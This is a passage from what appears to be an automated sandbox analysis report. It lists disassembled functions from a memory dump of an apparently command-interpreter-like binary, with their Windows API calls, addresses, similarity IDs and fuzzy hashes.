                                                                                                                                                                                                                                    • Part of subcall function 00D19B3B: WideCharToMultiByte.API-MS-WIN-CORE-STRING-L1-1-0(00000000,00D50AF0,000000FF,00D4A7F0,00002000,00000000,00000000), ref: 00D19B8E
                                                                                                                                                                                                                                    • Part of subcall function 00D19B3B: WriteFile.API-MS-WIN-CORE-FILE-L1-1-0(?,00D4A7F0,-00000001,?,00000000), ref: 00D19BA3
                                                                                                                                                                                                                                  • longjmp.MSVCRT(00D50A30,00000001), ref: 00D287CE
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Console_get_osfhandle$Write$FileLockModeShared$AcquireByteCharHandleMultiReleaseTypeWidelongjmp
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1333215474-0
                                                                                                                                                                                                                                  • Opcode ID: 070c3db1f47ccc7ff3b7e643c9d13b9adbaaadaa0e20eaa5bc227459d04c5a9c
                                                                                                                                                                                                                                  • Instruction ID: f281f25483c5c61f8034f847a2ff1f410bda6ad1176f6385bee85933c504b42a
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 070c3db1f47ccc7ff3b7e643c9d13b9adbaaadaa0e20eaa5bc227459d04c5a9c
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: B151D931741321FBDB24AB78E859BAEB7A8EF1071AF144529E502D7281DF70DD409A70
                                                                                                                                                                                                                                  Function 00D16150 Relevance: 10.8, APIs: 7, Instructions: 264COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BCA7
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: iswspace.MSVCRT ref: 00D1BD1D
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD39
                                                                                                                                                                                                                                    • Part of subcall function 00D1BC30: wcschr.MSVCRT ref: 00D1BD5D
                                                                                                                                                                                                                                  • iswspace.MSVCRT ref: 00D161E4
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: wcschr$iswspace
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3458554142-0
                                                                                                                                                                                                                                  • Opcode ID: 8d06c8355000f4217d01e4e7c1d99fb2c41dadcdde3f129a1d79784cf8e57087
                                                                                                                                                                                                                                  • Instruction ID: 0498065ace7b98611cd93d857a3068d058404ab4406fd807bdf6cf32efb6c240
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 8d06c8355000f4217d01e4e7c1d99fb2c41dadcdde3f129a1d79784cf8e57087
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 4691BFB4900364AFDB24DF68EC15AAEB7B4FF59314F14811AE806D7290EB719880CB76
                                                                                                                                                                                                                                  Function 00D1A6A0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 191COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: _wcsicmp
                                                                                                                                                                                                                                  • String ID: ELSE$IF/?
                                                                                                                                                                                                                                  • API String ID: 2081463915-1134991328
                                                                                                                                                                                                                                  • Opcode ID: d5e7e3f1adc979f73ef42f551639104faa74418a005de1ad81de5f2a6f23395d
                                                                                                                                                                                                                                  • Instruction ID: 8de8434951c6c355d831f98e4860328343258a052e5351d2bbb74cca76b09e0e
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: d5e7e3f1adc979f73ef42f551639104faa74418a005de1ad81de5f2a6f23395d
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: EF513872214311BAE7309B79BC56BAA22A5DF55319F18142AE842C62D1EFB1CCC1CB72
                                                                                                                                                                                                                                  Function 00D262C0 Relevance: 10.7, APIs: 7, Instructions: 171COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D2643A: NtOpenThreadToken.NTDLL ref: 00D26454
                                                                                                                                                                                                                                    • Part of subcall function 00D2643A: NtOpenProcessToken.NTDLL ref: 00D2646C
                                                                                                                                                                                                                                    • Part of subcall function 00D2643A: NtClose.NTDLL ref: 00D264BD
                                                                                                                                                                                                                                  • SetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(00000000), ref: 00D263B5
                                                                                                                                                                                                                                  • LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(?), ref: 00D263E3
                                                                                                                                                                                                                                  • RtlNtStatusToDosError.NTDLL ref: 00D31EF4
                                                                                                                                                                                                                                  • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 00D31EFB
                                                                                                                                                                                                                                  • GetConsoleTitleW.API-MS-WIN-CORE-CONSOLE-L2-2-0(?,00000104,?,000000FF,00000002,00000000), ref: 00D31F6B
                                                                                                                                                                                                                                  • wcsstr.MSVCRT ref: 00D31F86
                                                                                                                                                                                                                                  • wcsstr.MSVCRT ref: 00D31FA4
                                                                                                                                                                                                                                    • Part of subcall function 00D2640A: FormatMessageW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00001900,00000000,?,00000000,?,00000000,?,?,?,?,00D39C96,00D2FDFA,00000000,?), ref: 00D2642F
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ConsoleErrorOpenTitleTokenwcsstr$CloseFormatFreeLastLocalMessageProcessStatusThread
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1313749407-0
                                                                                                                                                                                                                                  • Opcode ID: 9889972f50a8cdd1f210ca024ae4854a9c9a0c650eccdbcbf054f0c921509857
                                                                                                                                                                                                                                  • Instruction ID: 25d4d12eed823fc5e8dfc247b50ec38055806b69bf9679cbfc8a6fe1cafd1aad
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9889972f50a8cdd1f210ca024ae4854a9c9a0c650eccdbcbf054f0c921509857
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: F651C635A0033A5BDF24DF69AC846AA73A5EF64718F1801A9E905D7290EB70DD818BB0
                                                                                                                                                                                                                                  Function 00D39A7D Relevance: 10.6, APIs: 7, Instructions: 138COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D39AC2
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(00000000,-00000105,?,00000000,?), ref: 00D39B22
                                                                                                                                                                                                                                  • SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000001,?,00000000,?), ref: 00D39B32
                                                                                                                                                                                                                                  • SetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,-00000105,?,00000000,?), ref: 00D39BAD
                                                                                                                                                                                                                                  • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?), ref: 00D39BB8
                                                                                                                                                                                                                                  • SetErrorMode.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,?), ref: 00D39BCB
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,?), ref: 00D39BF9
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Error$CurrentDirectoryModememset$Last
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1725644760-0
                                                                                                                                                                                                                                  • Opcode ID: b3055ae0214f055bd7ca2547599f27fe4d1e44a729dcee574a792214d21479f2
                                                                                                                                                                                                                                  • Instruction ID: 010a0b6bc37ea814d2a9fd7fb42df12e5c7d85f294ce34ad27834abef7103fb9
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: b3055ae0214f055bd7ca2547599f27fe4d1e44a729dcee574a792214d21479f2
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 47418C31A01319ABDF14DBA8EC95AEEF7B8EF18315F044199E805E7290EB74D940CB75
                                                                                                                                                                                                                                  Function 00D3B701 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • RoInitialize.API-MS-WIN-CORE-WINRT-L1-1-0(00000000,00000000,00000000,00000001), ref: 00D3B717
                                                                                                                                                                                                                                  • GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0 ref: 00D3B72A
                                                                                                                                                                                                                                  • RoUninitialize.API-MS-WIN-CORE-WINRT-L1-1-0(?,?,?), ref: 00D3B7FC
                                                                                                                                                                                                                                    • Part of subcall function 00D18235: _get_osfhandle.MSVCRT ref: 00D1824E
                                                                                                                                                                                                                                    • Part of subcall function 00D18235: SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00D18256
                                                                                                                                                                                                                                    • Part of subcall function 00D18235: _get_osfhandle.MSVCRT ref: 00D18264
                                                                                                                                                                                                                                    • Part of subcall function 00D18235: SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00D1826C
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D3B76D
                                                                                                                                                                                                                                  • GetConsoleWindow.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0(?,?,?), ref: 00D3B788
                                                                                                                                                                                                                                  Strings
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Console$ModeWindow_get_osfhandle$InitializeUninitializememset
                                                                                                                                                                                                                                  • String ID: <
                                                                                                                                                                                                                                  • API String ID: 1664749912-4251816714
                                                                                                                                                                                                                                  • Opcode ID: c9cfc2497ead6e5c4d4939cfe8fc72458aa534903c1e6e769a9f6f857034006f
                                                                                                                                                                                                                                  • Instruction ID: f785fb31480d8c52639193ffc366d5772616fa0bb98928a89d3fba9853e5ac77
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: c9cfc2497ead6e5c4d4939cfe8fc72458aa534903c1e6e769a9f6f857034006f
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: E1311AB5D00319AFCB11DFA9D8859DEBBB8EF48355F10411AE905E3340EB309A458B71
                                                                                                                                                                                                                                  Function 00D181EC Relevance: 10.5, APIs: 7, Instructions: 41synchronizationCOMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • WaitForSingleObject.API-MS-WIN-CORE-SYNCH-L1-1-0(?,000000FF,?,?,?,00D37FC9,?,00D399AE,00000000,?,00000000,00D2CF94,00000000,?), ref: 00D18203
                                                                                                                                                                                                                                  • GetExitCodeProcess.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?,000000FF,?,00D37FC9,?,00D399AE,00000000,?,00000000,00D2CF94,00000000,?), ref: 00D1820E
                                                                                                                                                                                                                                  • CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?,?,00D37FC9,?,00D399AE,00000000,?,00000000,00D2CF94,00000000,?), ref: 00D18229
                                                                                                                                                                                                                                  • EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00D37FC9,?,00D399AE,00000000,?,00000000,00D2CF94,00000000,?), ref: 00D2B0AB
                                                                                                                                                                                                                                  • LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,00D37FC9,?,00D399AE,00000000,?,00000000,00D2CF94,00000000,?), ref: 00D2B0C1
                                                                                                                                                                                                                                  • fprintf.MSVCRT ref: 00D2B0D5
                                                                                                                                                                                                                                  • fflush.MSVCRT ref: 00D2B0E3
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: CriticalSection$CloseCodeEnterExitHandleLeaveObjectProcessSingleWaitfflushfprintf
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 4271573189-0
                                                                                                                                                                                                                                  • Opcode ID: 9878016eb8f15f4b0c9d018f9d54cbe72bb2fd992bad60df0e1d44d6300a597a
                                                                                                                                                                                                                                  • Instruction ID: 9a89c20446e123730948c2b51c94d53a1f3e1fbe979a270ba69f08a3c3f4d550
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 9878016eb8f15f4b0c9d018f9d54cbe72bb2fd992bad60df0e1d44d6300a597a
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 52014F35005320FFDB156BA8ED0EA9A7B68EF0632AF100245F915D23E1CBB556409B76
                                                                                                                                                                                                                                  Function 00D23CD0 Relevance: 9.4, APIs: 6, Instructions: 438COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D23D30
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00000000,?,?,-00000105,?,?,00000000), ref: 00D23E3D
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000105,?,?,00000000), ref: 00D23E88
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$FullNamePath
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 3158150540-0
                                                                                                                                                                                                                                  • Opcode ID: 874f4d551ea665a26aeb8d30bdb283cf30d18ae379936ebe2c7bee672571a1c0
                                                                                                                                                                                                                                  • Instruction ID: c105a702d978e4f1bf54e4a64230cfa758c12cd6f2f01ebd14931d29b98a5b37
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 874f4d551ea665a26aeb8d30bdb283cf30d18ae379936ebe2c7bee672571a1c0
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 1202A735A002259BCB24DF68EC957B9B3B1FF58318F1845F9E80997250D734AE82CF64
                                                                                                                                                                                                                                  Function 00D1498F Relevance: 9.2, APIs: 6, Instructions: 157COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D2858D
                                                                                                                                                                                                                                  • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00D28595
                                                                                                                                                                                                                                  • SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,00000002), ref: 00D285D4
                                                                                                                                                                                                                                  • _get_osfhandle.MSVCRT ref: 00D285ED
                                                                                                                                                                                                                                  • WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(00000000), ref: 00D285F5
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: Console$Write_get_osfhandle$Mode
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1066134489-0
                                                                                                                                                                                                                                  • Opcode ID: 88669aaf83dca271a8cb5dee265cf19832902709fb50448c50d229f6f98e3f73
                                                                                                                                                                                                                                  • Instruction ID: 8e9ba137c29a0ab3c3ab641f0f88426114c418aaa9dd3cbf39cc9b91d9f02a44
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 88669aaf83dca271a8cb5dee265cf19832902709fb50448c50d229f6f98e3f73
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 6E41FB71A01321EBCF249F78E885BAEB3A4EF50349F184569EC46D7185EE70DC40DA70
                                                                                                                                                                                                                                  Function 00D1B7A8 Relevance: 9.1, APIs: 6, Instructions: 113COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • _tell.MSVCRT ref: 00D1B7F9
                                                                                                                                                                                                                                  • _close.MSVCRT ref: 00D1B82C
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D1B8CC
                                                                                                                                                                                                                                  • GetConsoleOutputCP.API-MS-WIN-CORE-CONSOLE-L1-1-0(00007FE7), ref: 00D1B936
                                                                                                                                                                                                                                  • GetCPInfo.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00D4C9F0), ref: 00D1B947
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?), ref: 00D1B96D
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: ConsoleInfoOutput_close_tellmemset
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 1380661413-0
                                                                                                                                                                                                                                  • Opcode ID: 69d2475ff21a353a1f97dad9dd3ef8fb5b4cfff2e133d4cd1d5a222be6a036ce
                                                                                                                                                                                                                                  • Instruction ID: 759a298dd7d707bbbcd8f0c9c98133f8ead09418ea6a70f38c6dee2683ad27c0
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 69d2475ff21a353a1f97dad9dd3ef8fb5b4cfff2e133d4cd1d5a222be6a036ce
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 0E41E470A04310ABD7309F28F8487AAB7E5EF95328F18091DE995D72A0DB30DC85CB72
                                                                                                                                                                                                                                  Function 00D17F47 Relevance: 9.1, APIs: 6, Instructions: 104COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                  • memset.MSVCRT ref: 00D17F7C
                                                                                                                                                                                                                                    • Part of subcall function 00D1E3F0: memset.MSVCRT ref: 00D1E455
                                                                                                                                                                                                                                  • GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,-00000001,?,?,00000001), ref: 00D17FC0
                                                                                                                                                                                                                                  • GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000000,00000000,00000000,00000000), ref: 00D17FF3
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?,-00000001,?,?,00000001), ref: 00D1800C
                                                                                                                                                                                                                                  • ??_V@YAXPAX@Z.MSVCRT(?), ref: 00D2B05A
                                                                                                                                                                                                                                  Memory Dump Source
                                                                                                                                                                                                                                  • Source File: 0000000A.00000002.2212978560.0000000000D11000.00000020.00000001.01000000.00000007.sdmp, Offset: 00D10000, based on PE: true
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2212960402.0000000000D10000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213045953.0000000000D3E000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5A000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  • Associated: 0000000A.00000002.2213065659.0000000000D5E000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                  • Snapshot File: hcaresult_10_2_d10000_alpha.jbxd
                                                                                                                                                                                                                                  Similarity
                                                                                                                                                                                                                                  • API ID: memset$DriveInformationTypeVolume
                                                                                                                                                                                                                                  • String ID:
                                                                                                                                                                                                                                  • API String ID: 285405857-0
                                                                                                                                                                                                                                  • Opcode ID: 474a6707f40de297d11fd22423dad9d0360424f43fe66edb13e3ab6a2140e9a2
                                                                                                                                                                                                                                  • Instruction ID: 2d4b7ca15004bb1cb88baa02d0acfe4d364044152d33d0f8250dfe043a4b2e31
                                                                                                                                                                                                                                  • Opcode Fuzzy Hash: 474a6707f40de297d11fd22423dad9d0360424f43fe66edb13e3ab6a2140e9a2
                                                                                                                                                                                                                                  • Instruction Fuzzy Hash: 9D317E71A1025DABDF24CBA9EC84AEFB7B8EF08354F08055AE401E2250DB34DD84CB31
                                                                                                                                                                                                                                  Function 00D1998D Relevance: 9.1, APIs: 6, Instructions: 89COMMON
                                                                                                                                                                                                                                  Download Yara Rule
                                                                                                                                                                                                                                  APIs
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: _get_osfhandle.MSVCRT ref: 00D19A1C
                                                                                                                                                                                                                                    • Part of subcall function 00D19A11: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00D1793A,00000104,?), ref: 00D19A2B
